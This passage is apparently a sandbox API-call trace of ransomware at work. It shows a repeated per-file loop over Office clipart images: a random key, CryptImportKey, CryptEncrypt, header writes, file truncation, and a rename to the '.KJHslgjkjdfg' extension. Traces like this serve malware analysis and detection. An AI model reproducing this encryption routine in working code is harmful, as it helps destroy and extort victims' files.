out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xf440, lpOverlapped=0x0) returned 1 [0209.522] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.522] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.522] SetEndOfFile (hFile=0x130) returned 1 [0209.526] GetProcessHeap () returned 0x990000 [0209.526] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0209.526] GetProcessHeap () returned 0x990000 [0209.526] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0209.526] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg.kjhslgjkjdfg")) returned 1 [0209.528] CloseHandle (hObject=0x130) returned 1 [0209.528] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66374600, ftCreationTime.dwHighDateTime=0x1bd4e5f, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66374600, ftLastWriteTime.dwHighDateTime=0x1bd4e5f, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02845G.GIF", cAlternateFileName="")) returned 1 [0209.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0209.531] GetProcessHeap () returned 0x990000 [0209.531] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0209.531] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0209.531] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0209.532] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0209.534] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.534] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.534] GetProcessHeap () returned 0x990000 [0209.534] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0209.534] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0209.534] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.534] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0209.534] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0209.535] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0209.535] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0209.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0209.535] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.535] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.535] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.535] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x30f2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x30f2, lpOverlapped=0x0) returned 1 [0209.536] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3100, dwBufLen=0x3100 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3100) returned 1 [0209.536] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.536] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3100, lpOverlapped=0x0) returned 1 [0209.537] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.537] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x31d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.537] SetEndOfFile (hFile=0x130) returned 1 [0209.540] GetProcessHeap () returned 0x990000 [0209.540] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0209.540] GetProcessHeap () returned 0x990000 [0209.540] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0209.540] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif.kjhslgjkjdfg")) returned 1 [0209.644] CloseHandle (hObject=0x130) returned 1 [0209.644] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c45, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02897J.JPG", cAlternateFileName="")) returned 1 [0209.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0209.647] GetProcessHeap () returned 0x990000 [0209.647] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0209.647] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0209.647] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0209.647] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0209.665] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.665] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.665] GetProcessHeap () returned 0x990000 [0209.665] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0209.665] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0209.665] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.665] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0209.665] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0209.665] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0209.666] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0209.666] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0209.666] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.666] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.666] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.666] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.666] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3c45, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3c45, lpOverlapped=0x0) returned 1 [0209.748] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3c50, dwBufLen=0x3c50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3c50) returned 1 [0209.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.748] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3c50, lpOverlapped=0x0) returned 1 [0209.749] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.749] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.749] SetEndOfFile (hFile=0x130) returned 1 [0209.750] GetProcessHeap () returned 0x990000 [0209.750] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0209.750] GetProcessHeap () returned 0x990000 [0209.750] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0209.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg.kjhslgjkjdfg")) returned 1 [0209.752] CloseHandle (hObject=0x130) returned 1 [0209.752] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f66600, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe0f66600, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x3c76, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03011U.BMP", cAlternateFileName="")) returned 1 [0209.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0209.753] GetProcessHeap () returned 0x990000 [0209.753] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0209.753] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0209.753] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0209.754] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0209.761] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.761] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.761] GetProcessHeap () returned 0x990000 [0209.762] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0209.762] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0209.762] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.762] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0209.762] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0209.762] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0209.762] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0209.762] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0209.762] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.762] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.762] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.762] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.762] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3c76, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3c76, lpOverlapped=0x0) returned 1 [0209.799] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3c80, dwBufLen=0x3c80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3c80) returned 1 [0209.799] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.799] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3c80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3c80, lpOverlapped=0x0) returned 1 [0209.799] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.799] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.799] SetEndOfFile (hFile=0x130) returned 1 [0209.801] GetProcessHeap () returned 0x990000 [0209.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0209.801] GetProcessHeap () returned 0x990000 [0209.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0209.801] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp.kjhslgjkjdfg")) returned 1 [0209.803] CloseHandle (hObject=0x130) returned 1 [0209.803] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa55b9c00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa55b9c00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03012U.BMP", cAlternateFileName="")) returned 1 [0209.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0209.804] GetProcessHeap () returned 0x990000 [0209.804] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0209.804] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0209.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0209.804] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0209.809] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.809] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.809] GetProcessHeap () returned 0x990000 [0209.809] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0209.809] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0209.809] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.809] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0209.809] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0209.809] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0209.809] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0209.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0209.810] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.810] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.810] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.810] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1016, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1016, lpOverlapped=0x0) returned 1 [0209.829] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1020, dwBufLen=0x1020 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1020) returned 1 [0209.829] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.829] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1020, lpOverlapped=0x0) returned 1 [0209.830] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.830] SetEndOfFile (hFile=0x130) returned 1 [0209.832] GetProcessHeap () returned 0x990000 [0209.833] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0209.833] GetProcessHeap () returned 0x990000 [0209.833] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0209.833] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp.kjhslgjkjdfg")) returned 1 [0209.835] CloseHandle (hObject=0x130) returned 1 [0209.835] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc44dfa00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc44dfa00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, 